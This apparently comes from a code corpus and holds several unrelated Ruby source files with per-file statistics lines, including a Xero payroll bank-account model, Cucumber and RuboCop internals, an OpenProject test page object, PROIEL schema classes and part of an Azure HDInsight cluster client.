=begin #Xero Payroll AU API #This is the Xero Payroll API for orgs in Australia region. Contact: [email protected] Generated by: https://openapi-generator.tech OpenAPI Generator version: 4.3.1 =end require 'time' require 'date' module XeroRuby::PayrollAu require 'bigdecimal' class BankAccount # The text that will appear on your employee's bank statement when they receive payment attr_accessor :statement_text # The name of the account attr_accessor :account_name # The BSB number of the account attr_accessor :bsb # The account number attr_accessor :account_number # If this account is the Remaining bank account attr_accessor :remainder # Fixed amounts (for example, if an employee wants to have $100 of their salary transferred to one account, and the remaining amount to another) attr_accessor :amount # Attribute mapping from ruby-style variable name to JSON key. def self.attribute_map { :'statement_text' => :'StatementText', :'account_name' => :'AccountName', :'bsb' => :'BSB', :'account_number' => :'AccountNumber', :'remainder' => :'Remainder', :'amount' => :'Amount' } end # Attribute type mapping. def self.openapi_types { :'statement_text' => :'String', :'account_name' => :'String', :'bsb' => :'String', :'account_number' => :'String', :'remainder' => :'Boolean', :'amount' => :'BigDecimal' } end # Initializes the object # @param [Hash] attributes Model attributes in the form of hash def initialize(attributes = {}) if (!attributes.is_a?(Hash)) fail ArgumentError, "The input argument (attributes) must be a hash in `XeroRuby::PayrollAu::BankAccount` initialize method" end # check to see if the attribute exists and convert string to symbol for hash key attributes = attributes.each_with_object({}) { |(k, v), h| if (!self.class.attribute_map.key?(k.to_sym)) fail ArgumentError, "`#{k}` is not a valid attribute in `XeroRuby::PayrollAu::BankAccount`. Please check the name to make sure it's valid. List of attributes: " + self.class.attribute_map.keys.inspect end h[k.to_sym] = v } if attributes.key?(:'statement_text') self.statement_text = attributes[:'statement_text'] end if attributes.key?(:'account_name') self.account_name = attributes[:'account_name'] end if attributes.key?(:'bsb') self.bsb = attributes[:'bsb'] end if attributes.key?(:'account_number') self.account_number = attributes[:'account_number'] end if attributes.key?(:'remainder') self.remainder = attributes[:'remainder'] end if attributes.key?(:'amount') self.amount = attributes[:'amount'] end end # Show invalid properties with the reasons. Usually used together with valid? # @return Array for valid properties with the reasons def list_invalid_properties invalid_properties = Array.new invalid_properties end # Check to see if the all the properties in the model are valid # @return true if the model is valid def valid? true end # Checks equality by comparing each attribute. # @param [Object] Object to be compared def ==(o) return true if self.equal?(o) self.class == o.class && statement_text == o.statement_text && account_name == o.account_name && bsb == o.bsb && account_number == o.account_number && remainder == o.remainder && amount == o.amount end # @see the `==` method # @param [Object] Object to be compared def eql?(o) self == o end # Calculates hash code according to all attributes. # @return [Integer] Hash code def hash [statement_text, account_name, bsb, account_number, remainder, amount].hash end # Builds the object from hash # @param [Hash] attributes Model attributes in the form of hash # @return [Object] Returns the model itself def self.build_from_hash(attributes) new.build_from_hash(attributes) end # Builds the object from hash # @param [Hash] attributes Model attributes in the form of hash # @return [Object] Returns the model itself def build_from_hash(attributes) return nil unless attributes.is_a?(Hash) self.class.openapi_types.each_pair do |key, type| if type =~ /\AArray<(.*)>/i # check to ensure the input is an array given that the attribute # is documented as an array but the input is not if attributes[self.class.attribute_map[key]].is_a?(Array) self.send("#{key}=", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) }) end elsif !attributes[self.class.attribute_map[key]].nil? self.send("#{key}=", _deserialize(type, attributes[self.class.attribute_map[key]])) end # or else data not found in attributes(hash), not an issue as the data can be optional end self end # Deserializes the data based on type # @param string type Data type # @param string value Value to be deserialized # @return [Object] Deserialized data def _deserialize(type, value) case type.to_sym when :DateTime DateTime.parse(parse_date(value)) when :Date Date.parse(parse_date(value)) when :String value.to_s when :Integer value.to_i when :Float value.to_f when :BigDecimal BigDecimal(value.to_s) when :Boolean if value.to_s =~ /\A(true|t|yes|y|1)\z/i true else false end when :Object # generic object (usually a Hash), return directly value when /\AArray<(?<inner_type>.+)>\z/ inner_type = Regexp.last_match[:inner_type] value.map { |v| _deserialize(inner_type, v) } when /\AHash<(?<k_type>.+?), (?<v_type>.+)>\z/ k_type = Regexp.last_match[:k_type] v_type = Regexp.last_match[:v_type] {}.tap do |hash| value.each do |k, v| hash[_deserialize(k_type, k)] = _deserialize(v_type, v) end end else # model XeroRuby::PayrollAu.const_get(type).build_from_hash(value) end end # Returns the string representation of the object # @return [String] String presentation of the object def to_s to_hash.to_s end # to_body is an alias to to_hash (backward compatibility) # @return [Hash] Returns the object in the form of hash def to_body to_hash end # Returns the object in the form of hash # @return [Hash] Returns the object in the form of hash def to_hash(downcase: false) hash = {} self.class.attribute_map.each_pair do |attr, param| value = self.send(attr) next if value.nil? key = downcase ? attr : param hash[key] = _to_hash(value) end hash end # Returns the object in the form of hash with snake_case def to_attributes to_hash(downcase: true) end # Outputs non-array value in the form of hash # For object, use to_hash. Otherwise, just return the value # @param [Object] value Any valid value # @return [Hash] Returns the value in the form of hash def _to_hash(value) if value.is_a?(Array) value.compact.map { |v| _to_hash(v) } elsif value.is_a?(Hash) {}.tap do |hash| value.each { |k, v| hash[k] = _to_hash(v) } end elsif value.respond_to? :to_hash value.to_hash else value end end def parse_date(datestring) if datestring.include?('Date') seconds_since_epoch = datestring.scan(/[0-9]+/)[0].to_i / 1000.0 Time.at(seconds_since_epoch).utc.strftime('%Y-%m-%dT%H:%M:%S%z').to_s else # handle date 'types' for small subset of payroll API's Time.parse(datestring).strftime('%Y-%m-%dT%H:%M:%S').to_s end end end end
30.801498
210
0.622203
acbd8519b9113183b042d4b51b3e14c569149ee0
2,931
require 'delegate' require 'cucumber/deprecate' module Cucumber # Represents the current status of a running test case. # # This wraps a `Cucumber::Core::Test::Case` and delegates # many methods to that object. # # We decorete the core object with the current result. # In the first Before hook of a scenario, this will be an # instance of `Cucumber::Core::Test::Result::Unknown` # but as the scenario runs, it will be updated to reflect # the passed / failed / undefined / skipped status of # the test case. # # The test case might come from a regular Scenario or # a Scenario outline. You can call the `#outline?` # predicate to find out. If it's from an outline, # you get a couple of extra methods. module RunningTestCase def self.new(test_case) Builder.new(test_case).running_test_case end class Builder def initialize(test_case) @test_case = test_case test_case.describe_source_to(self) end def feature(feature) end def scenario(scenario) @factory = Scenario end def scenario_outline(scenario) @factory = ScenarioOutlineExample end def examples_table(examples_table) end def examples_table_row(row) end def running_test_case @factory.new(@test_case) end end private_constant :Builder class Scenario < SimpleDelegator def initialize(test_case, result = Core::Test::Result::Unknown.new) @test_case = test_case @result = result super test_case end def accept_hook?(hook) hook.tag_expressions.all? { |expression| @test_case.match_tags?(expression) } end def exception return unless @result.failed? @result.exception end def status @result.to_sym end def failed? @result.failed? end def passed? !failed? end def title Cucumber.deprecate( "Call #name instead", "RunningTestCase#title", "2.9.9") name end def source_tags Cucumber.deprecate( "Call #tags instead", "RunningTestCase#source_tags", "2.9.9") tags end def source_tag_names tags.map &:name end def skip_invoke! Cucumber.deprecate( "Call #skip_this_scenario directly (not on any object)", "RunningTestCase#skip_invoke!", "2.9.9") raise Cucumber::Core::Test::Result::Skipped end def outline? false end def with_result(result) self.class.new(@test_case, result) end end class ScenarioOutlineExample < Scenario def outline? true end def scenario_outline self end def cell_values source.last.values end end end end
21.711111
85
0.606619
33d7a184e1366b85b0682352286a65247ee18577
73
require "omniauth/procore/version" require "omniauth/strategies/procore"
24.333333
37
0.835616
f8e950637beb5da040673b920e20ad35f1e36001
2,681
#-- copyright # OpenProject is an open source project management software. # Copyright (C) 2012-2020 the OpenProject GmbH # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License version 3. # # OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows: # Copyright (C) 2006-2017 Jean-Philippe Lang # Copyright (C) 2010-2013 the ChiliProject Team # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # # See docs/COPYRIGHT.rdoc for more details. #++ require 'support/pages/page' require_relative './board_page' module Pages class BoardIndex < Page attr_reader :project def initialize(project = nil) @project = project end def visit! if project visit project_work_package_boards_path(project) else visit work_package_boards_path end end def expect_editable(editable) # Editable / draggable check expect(page).to have_conditional_selector(editable, '.buttons a.icon-delete') # Create button expect(page).to have_conditional_selector(editable, '.toolbar-item a', text: 'Board') end def expect_board(name, present: true) expect(page).to have_conditional_selector(present, 'td.name', text: name) end def create_board(action: nil, expect_empty: false) page.find('.toolbar-item a', text: 'Board').click if action == nil find('.tile-block-title', text: 'Basic').click else find('.tile-block-title', text: action.to_s[0..5]).click end if expect_empty expect(page).to have_selector('.boards-list--add-item-text', wait: 10) expect(page).to have_no_selector('.boards-list--item') else expect(page).to have_selector('.boards-list--item', wait: 10) end ::Pages::Board.new ::Boards::Grid.last end def open_board(board) page.find('td.name a', text: board.name).click ::Pages::Board.new board end end end
31.916667
91
0.698993
e8c32d01942d5617515d4bc65a4d3e3dd8551fc3
1,481
# frozen_string_literal: true module RuboCop module Cop module Performance # This cop identifies unnecessary use of a `block_given?` where explicit check # of block argument would suffice. # # @example # # bad # def method(&block) # do_something if block_given? # end # # # good # def method(&block) # do_something if block # end # # # good - block is reassigned # def method(&block) # block ||= -> { do_something } # warn "Using default ..." unless block_given? # # ... # end # class BlockGivenWithExplicitBlock < Base extend AutoCorrector RESTRICT_ON_SEND = %i[block_given?].freeze MSG = 'Check block argument explicitly instead of using `block_given?`.' def_node_matcher :reassigns_block_arg?, '`(lvasgn %1 ...)' def on_send(node) def_node = node.each_ancestor(:def, :defs).first return unless def_node block_arg = def_node.arguments.find(&:blockarg_type?) return unless block_arg return unless (block_arg_name = block_arg.loc.name) block_arg_name = block_arg_name.source.to_sym return if reassigns_block_arg?(def_node, block_arg_name) add_offense(node) do |corrector| corrector.replace(node, block_arg_name) end end end end end end
27.425926
84
0.584065
ed5d3eafc02c15006e06244cfa7b0b73d2702188
4,050
#-- # Copyright (c) 2015 Marius L. Jøhndal # # See LICENSE in the top-level source directory for licensing terms. #++ module PROIEL # A representation of the annotation schema found in the header of a PROIEL # XML file. This should not be confused with the PROIEL XML schema, which is # used for validating the XML in a PROIEL XML file. class AnnotationSchema # @return [Hash<String,PartOfSpeechTagDefinition>] definition of part of speech tags attr_reader :part_of_speech_tags # @return [Hash<String,RelationTagDefinition>] definition of relation tags attr_reader :relation_tags # @return [Hash<Symbol,Hash<String,MorphologyFieldTagDefinition>>] definition of morphology tags attr_reader :morphology_tags # @return [Hash<String,InformationStatusTagDefinition>] definition of information status tags attr_reader :information_status_tags # Creates a new annotation schema object. def initialize(xml_object) if xml_object @part_of_speech_tags = make_part_of_speech_tags(xml_object).freeze @relation_tags = make_relation_tags(xml_object).freeze @morphology_tags = make_morphology_tags(xml_object).freeze @information_status_tags = make_information_status_tags(xml_object).freeze else @part_of_speech_tags = {}.freeze @relation_tags = {}.freeze @morphology_tags = {}.freeze @information_status_tags = {}.freeze end end # @return [Hash<String,RelationTagDefinition>] definition of primary relation tags def primary_relations @relation_tags.select { |_, features| features.primary } end # @return [Hash<String,RelationTagDefinition>] definition of secondary relation tags def secondary_relations @relation_tags.select { |_, features| features.secondary } end # Tests for equality of two annotation schema objects. # # @return [true,false] # def ==(o) @part_of_speech_tags.sort_by(&:first) == o.part_of_speech_tags.sort_by(&:first) and @relation_tags.sort_by(&:first) == o.relation_tags.sort_by(&:first) end private def make_tag_hash(element) element.values.map { |e| [e.tag, yield(e)] }.compact.to_h end def make_relation_tags(xml_object) make_tag_hash(xml_object.relations) do |e| RelationTagDefinition.new(e.summary, e.primary == 'true', e.secondary == 'true') end end def make_part_of_speech_tags(xml_object) make_tag_hash(xml_object.parts_of_speech) do |e| PartOfSpeechTagDefinition.new(e.summary) end end def make_morphology_tags(xml_object) xml_object.morphology.fields.map do |f| v = make_tag_hash(f) do |e| MorphologyFieldTagDefinition.new(e.summary) end [f.tag, v] end.to_h end def make_information_status_tags(xml_object) make_tag_hash(xml_object.information_statuses) do |e| InformationStatusTagDefinition.new(e.summary) end end end # A tag definitions. # # @abstract class GenericTagDefinition attr_reader :summary def initialize(summary) @summary = summary end # Tests equality of two tag definitions. def ==(o) @summary == o.summary end end # Definition of an information status tag. class InformationStatusTagDefinition < GenericTagDefinition; end # Definition of a relation tag. class RelationTagDefinition < GenericTagDefinition attr_reader :primary attr_reader :secondary def initialize(summary, primary, secondary) super(summary) @primary = primary @secondary = secondary end # Tests equality of two tag definitions. def ==(o) @summary == o.summary and @primary == o.primary and @secondary == o.secondary end end # Definition of a morphology field tag. class MorphologyFieldTagDefinition < GenericTagDefinition; end # Definition of a part of speech tag. class PartOfSpeechTagDefinition < GenericTagDefinition; end end
30
100
0.701235
ff05d400b12e809a245f3262672babaa130a498d
582
Pod::Spec.new do |spec| spec.name = "FigmaExport" spec.version = "0.24.3" spec.summary = "Command line utility to export colors, typography, icons and images from Figma to Xcode / Android Studio project." spec.homepage = "https://github.com/RedMadRobot/figma-export" spec.license = { type: "MIT", file: "LICENSE" } spec.author = { "Daniil Subbotin" => "[email protected]" } spec.source = { http: "#{spec.homepage}/releases/download/#{spec.version}/figma-export.zip" } spec.preserve_paths = '*' end
52.909091
141
0.608247
5dc6d45cb67d2fb388a4b658baefe2cfe3c979ce
164
# set the file path and max lines of the file on server start up FILE_PATH = "#{Rails.root}/lib/assets/medium_text.txt" MAX_LINES = File.open(FILE_PATH).each.count
41
64
0.762195
21c55d1ebd167c9ea254b00a0a7a8aa65966b302
239
class LimeChat < Cask url 'https://downloads.sourceforge.net/project/limechat/limechat/LimeChat_2.39.tbz' homepage 'http://limechat.net/mac/' version '2.39' sha1 'fc413ebadf9b0bc65729906d468e24ad42a267db' link 'LimeChat.app' end
29.875
85
0.769874
18eae8023fbdda2fc7d4638a3c32065ba302db06
3,855
#!/usr/bin/env ruby # frozen_string_literal: true # # The Ruby documentation for #sort_by describes what's called a Schwartzian transform: # # > A more efficient technique is to cache the sort keys (modification times in this case) # > before the sort. Perl users often call this approach a Schwartzian transform, after # > Randal Schwartz. We construct a temporary array, where each element is an array # > containing our sort key along with the filename. We sort this array, and then extract # > the filename from the result. # > This is exactly what sort_by does internally. # # The well-documented efficiency of sort_by is a good reason to use it. However, when a property # does not exist on an item being sorted, it can cause issues (no nil's allowed!) # In Jekyll::Filters#sort_input, we extract the property in each iteration of #sort, # which is quite inefficient! How inefficient? This benchmark will tell you just how, and how much # it can be improved by using the Schwartzian transform. Thanks, Randall! require 'benchmark/ips' require 'minitest' require File.expand_path("../lib/jekyll", __dir__) def site @site ||= Jekyll::Site.new( Jekyll.configuration("source" => File.expand_path("../docs", __dir__)) ).tap(&:reset).tap(&:read) end def site_docs site.collections["docs"].docs.dup end def sort_by_property_directly(docs, meta_key) docs.sort! do |apple, orange| apple_property = apple[meta_key] orange_property = orange[meta_key] if !apple_property.nil? && !orange_property.nil? apple_property <=> orange_property elsif !apple_property.nil? && orange_property.nil? -1 elsif apple_property.nil? && !orange_property.nil? 1 else apple <=> orange end end end def schwartzian_transform(docs, meta_key) docs.collect! { |d| [d[meta_key], d] }.sort! { |apple, orange| if !apple[0].nil? && !orange[0].nil? apple.first <=> orange.first elsif !apple[0].nil? && orange[0].nil? -1 elsif apple[0].nil? && !orange[0].nil? 1 else apple[-1] <=> orange[-1] end }.collect! { |d| d[-1] } end # Before we test efficiency, do they produce the same output? class Correctness include Minitest::Assertions require "pp" define_method :mu_pp, &:pretty_inspect attr_accessor :assertions def initialize(docs, property) @assertions = 0 @docs = docs @property = property end def assert! assert sort_by_property_directly(@docs, @property).is_a?(Array), "sort_by_property_directly must return an array" assert schwartzian_transform(@docs, @property).is_a?(Array), "schwartzian_transform must return an array" assert_equal sort_by_property_directly(@docs, @property), schwartzian_transform(@docs, @property) puts "Yeah, ok, correctness all checks out for property #{@property.inspect}" end end Correctness.new(site_docs, "redirect_from".freeze).assert! Correctness.new(site_docs, "title".freeze).assert! # First, test with a property only a handful of documents have. Benchmark.ips do |x| x.config(time: 10, warmup: 5) x.report('sort_by_property_directly with sparse property') do sort_by_property_directly(site_docs, "redirect_from".freeze) end x.report('schwartzian_transform with sparse property') do schwartzian_transform(site_docs, "redirect_from".freeze) end x.compare! end # Next, test with a property they all have. Benchmark.ips do |x| x.config(time: 10, warmup: 5) x.report('sort_by_property_directly with non-sparse property') do sort_by_property_directly(site_docs, "title".freeze) end x.report('schwartzian_transform with non-sparse property') do schwartzian_transform(site_docs, "title".freeze) end x.compare! end
33.232759
118
0.698833
91fb84ead51480d5cc1ed04fb520953eea7bb3c8
1,043
# -*- encoding: utf-8 -*- # stub: regexp_parser 1.6.0 ruby lib Gem::Specification.new do |s| s.name = "regexp_parser".freeze s.version = "1.6.0" s.required_rubygems_version = Gem::Requirement.new(">= 0".freeze) if s.respond_to? :required_rubygems_version= s.metadata = { "issue_tracker" => "https://github.com/ammar/regexp_parser/issues" } if s.respond_to? :metadata= s.require_paths = ["lib".freeze] s.authors = ["Ammar Ali".freeze] s.date = "2019-07-16" s.description = "A library for tokenizing, lexing, and parsing Ruby regular expressions.".freeze s.email = ["[email protected]".freeze] s.homepage = "https://github.com/ammar/regexp_parser".freeze s.licenses = ["MIT".freeze] s.rdoc_options = ["--inline-source".freeze, "--charset=UTF-8".freeze] s.required_ruby_version = Gem::Requirement.new(">= 1.9.1".freeze) s.rubygems_version = "2.7.6".freeze s.summary = "Scanner, lexer, parser for ruby's regular expressions".freeze s.installed_by_version = "2.7.6" if s.respond_to? :installed_by_version end
43.458333
113
0.705657
1d61c8f8e9e83f3dc0f4d5324ac0687eeb3bd29d
75,403
# encoding: utf-8 # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. module Azure::Hdinsight::Mgmt::V2018_06_01_preview # # HDInsight Management Client # class Clusters include MsRestAzure # # Creates and initializes a new instance of the Clusters class. # @param client service class for accessing basic functionality. # def initialize(client) @client = client end # @return [HDInsightManagementClient] reference to the HDInsightManagementClient attr_reader :client # # Creates a new HDInsight cluster with the specified parameters. # # @param resource_group_name [String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param parameters [ClusterCreateParametersExtended] The cluster create # request. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [Cluster] operation results. # def create(resource_group_name, cluster_name, parameters, custom_headers:nil) response = create_async(resource_group_name, cluster_name, parameters, custom_headers:custom_headers).value! response.body unless response.nil? end # # @param resource_group_name [String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param parameters [ClusterCreateParametersExtended] The cluster create # request. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [Concurrent::Promise] promise which provides async access to http # response. # def create_async(resource_group_name, cluster_name, parameters, custom_headers:nil) # Send request promise = begin_create_async(resource_group_name, cluster_name, parameters, custom_headers:custom_headers) promise = promise.then do |response| # Defining deserialization method. deserialize_method = lambda do |parsed_response| result_mapper = Azure::Hdinsight::Mgmt::V2018_06_01_preview::Models::Cluster.mapper() parsed_response = @client.deserialize(result_mapper, parsed_response) end # Waiting for response. @client.get_long_running_operation_result(response, deserialize_method) end promise end # # Patch HDInsight cluster with the specified parameters. # # @param resource_group_name [String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param parameters [ClusterPatchParameters] The cluster patch request. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [Cluster] operation results. # def update(resource_group_name, cluster_name, parameters, custom_headers:nil) response = update_async(resource_group_name, cluster_name, parameters, custom_headers:custom_headers).value! response.body unless response.nil? end # # Patch HDInsight cluster with the specified parameters. # # @param resource_group_name [String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param parameters [ClusterPatchParameters] The cluster patch request. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [MsRestAzure::AzureOperationResponse] HTTP response information. # def update_with_http_info(resource_group_name, cluster_name, parameters, custom_headers:nil) update_async(resource_group_name, cluster_name, parameters, custom_headers:custom_headers).value! end # # Patch HDInsight cluster with the specified parameters. # # @param resource_group_name [String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param parameters [ClusterPatchParameters] The cluster patch request. # @param [Hash{String => String}] A hash of custom headers that will be added # to the HTTP request. # # @return [Concurrent::Promise] Promise object which holds the HTTP response. # def update_async(resource_group_name, cluster_name, parameters, custom_headers:nil) fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil? fail ArgumentError, 'resource_group_name is nil' if resource_group_name.nil? fail ArgumentError, 'cluster_name is nil' if cluster_name.nil? fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil? fail ArgumentError, 'parameters is nil' if parameters.nil? request_headers = {} request_headers['Content-Type'] = 'application/json; charset=utf-8' # Set Headers request_headers['x-ms-client-request-id'] = SecureRandom.uuid request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil? # Serialize Request request_mapper = Azure::Hdinsight::Mgmt::V2018_06_01_preview::Models::ClusterPatchParameters.mapper() request_content = @client.serialize(request_mapper, parameters) request_content = request_content != nil ? JSON.generate(request_content, quirks_mode: true) : nil path_template = 'subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.HDInsight/clusters/{clusterName}' request_url = @base_url || @client.base_url options = { middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]], path_params: {'subscriptionId' => @client.subscription_id,'resourceGroupName' => resource_group_name,'clusterName' => cluster_name}, query_params: {'api-version' => @client.api_version}, body: request_content, headers: request_headers.merge(custom_headers || {}), base_url: request_url } promise = @client.make_request_async(:patch, path_template, options) promise = promise.then do |result| http_response = result.response status_code = http_response.status response_content = http_response.body unless status_code == 200 error_model = JSON.load(response_content) fail MsRest::HttpOperationError.new(result.request, http_response, error_model) end result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil? result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil? result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil? # Deserialize Response if status_code == 200 begin parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content) result_mapper = Azure::Hdinsight::Mgmt::V2018_06_01_preview::Models::Cluster.mapper() result.body = @client.deserialize(result_mapper, parsed_response) rescue Exception => e fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result) end end result end promise.execute end # # Deletes the specified HDInsight cluster. # # @param resource_group_name [String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # def delete(resource_group_name, cluster_name, custom_headers:nil) response = delete_async(resource_group_name, cluster_name, custom_headers:custom_headers).value! nil end # # @param resource_group_name [String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [Concurrent::Promise] promise which provides async access to http # response. # def delete_async(resource_group_name, cluster_name, custom_headers:nil) # Send request promise = begin_delete_async(resource_group_name, cluster_name, custom_headers:custom_headers) promise = promise.then do |response| # Defining deserialization method. deserialize_method = lambda do |parsed_response| end # Waiting for response. @client.get_long_running_operation_result(response, deserialize_method) end promise end # # Gets the specified cluster. # # @param resource_group_name [String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [Cluster] operation results. # def get(resource_group_name, cluster_name, custom_headers:nil) response = get_async(resource_group_name, cluster_name, custom_headers:custom_headers).value! response.body unless response.nil? end # # Gets the specified cluster. # # @param resource_group_name [String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [MsRestAzure::AzureOperationResponse] HTTP response information. # def get_with_http_info(resource_group_name, cluster_name, custom_headers:nil) get_async(resource_group_name, cluster_name, custom_headers:custom_headers).value! end # # Gets the specified cluster. # # @param resource_group_name [String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param [Hash{String => String}] A hash of custom headers that will be added # to the HTTP request. # # @return [Concurrent::Promise] Promise object which holds the HTTP response. # def get_async(resource_group_name, cluster_name, custom_headers:nil) fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil? fail ArgumentError, 'resource_group_name is nil' if resource_group_name.nil? fail ArgumentError, 'cluster_name is nil' if cluster_name.nil? fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil? request_headers = {} request_headers['Content-Type'] = 'application/json; charset=utf-8' # Set Headers request_headers['x-ms-client-request-id'] = SecureRandom.uuid request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil? path_template = 'subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.HDInsight/clusters/{clusterName}' request_url = @base_url || @client.base_url options = { middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]], path_params: {'subscriptionId' => @client.subscription_id,'resourceGroupName' => resource_group_name,'clusterName' => cluster_name}, query_params: {'api-version' => @client.api_version}, headers: request_headers.merge(custom_headers || {}), base_url: request_url } promise = @client.make_request_async(:get, path_template, options) promise = promise.then do |result| http_response = result.response status_code = http_response.status response_content = http_response.body unless status_code == 200 error_model = JSON.load(response_content) fail MsRest::HttpOperationError.new(result.request, http_response, error_model) end result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil? result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil? result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil? # Deserialize Response if status_code == 200 begin parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content) result_mapper = Azure::Hdinsight::Mgmt::V2018_06_01_preview::Models::Cluster.mapper() result.body = @client.deserialize(result_mapper, parsed_response) rescue Exception => e fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result) end end result end promise.execute end # # Lists the HDInsight clusters in a resource group. # # @param resource_group_name [String] The name of the resource group. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [Array<Cluster>] operation results. # def list_by_resource_group(resource_group_name, custom_headers:nil) first_page = list_by_resource_group_as_lazy(resource_group_name, custom_headers:custom_headers) first_page.get_all_items end # # Lists the HDInsight clusters in a resource group. # # @param resource_group_name [String] The name of the resource group. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [MsRestAzure::AzureOperationResponse] HTTP response information. # def list_by_resource_group_with_http_info(resource_group_name, custom_headers:nil) list_by_resource_group_async(resource_group_name, custom_headers:custom_headers).value! end # # Lists the HDInsight clusters in a resource group. # # @param resource_group_name [String] The name of the resource group. # @param [Hash{String => String}] A hash of custom headers that will be added # to the HTTP request. # # @return [Concurrent::Promise] Promise object which holds the HTTP response. # def list_by_resource_group_async(resource_group_name, custom_headers:nil) fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil? fail ArgumentError, 'resource_group_name is nil' if resource_group_name.nil? fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil? request_headers = {} request_headers['Content-Type'] = 'application/json; charset=utf-8' # Set Headers request_headers['x-ms-client-request-id'] = SecureRandom.uuid request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil? path_template = 'subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.HDInsight/clusters' request_url = @base_url || @client.base_url options = { middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]], path_params: {'subscriptionId' => @client.subscription_id,'resourceGroupName' => resource_group_name}, query_params: {'api-version' => @client.api_version}, headers: request_headers.merge(custom_headers || {}), base_url: request_url } promise = @client.make_request_async(:get, path_template, options) promise = promise.then do |result| http_response = result.response status_code = http_response.status response_content = http_response.body unless status_code == 200 error_model = JSON.load(response_content) fail MsRest::HttpOperationError.new(result.request, http_response, error_model) end result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil? result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil? result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil? # Deserialize Response if status_code == 200 begin parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content) result_mapper = Azure::Hdinsight::Mgmt::V2018_06_01_preview::Models::ClusterListResult.mapper() result.body = @client.deserialize(result_mapper, parsed_response) rescue Exception => e fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result) end end result end promise.execute end # # Resizes the specified HDInsight cluster to the specified size. # # @param resource_group_name [String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param parameters [ClusterResizeParameters] The parameters for the resize # operation. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # def resize(resource_group_name, cluster_name, parameters, custom_headers:nil) response = resize_async(resource_group_name, cluster_name, parameters, custom_headers:custom_headers).value! nil end # # @param resource_group_name [String] The name of the resource group. # @param cluster_name [String] The name of the cluster. # @param parameters [ClusterResizeParameters] The parameters for the resize # operation. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [Concurrent::Promise] promise which provides async access to http # response. # def resize_async(resource_group_name, cluster_name, parameters, custom_headers:nil) # Send request promise = begin_resize_async(resource_group_name, cluster_name, parameters, custom_headers:custom_headers) promise = promise.then do |response| # Defining deserialization method. deserialize_method = lambda do |parsed_response| end # Waiting for response. @client.get_long_running_operation_result(response, deserialize_method) end promise end # # Updates the Autoscale Configuration for HDInsight cluster. # # @param resource_group_name 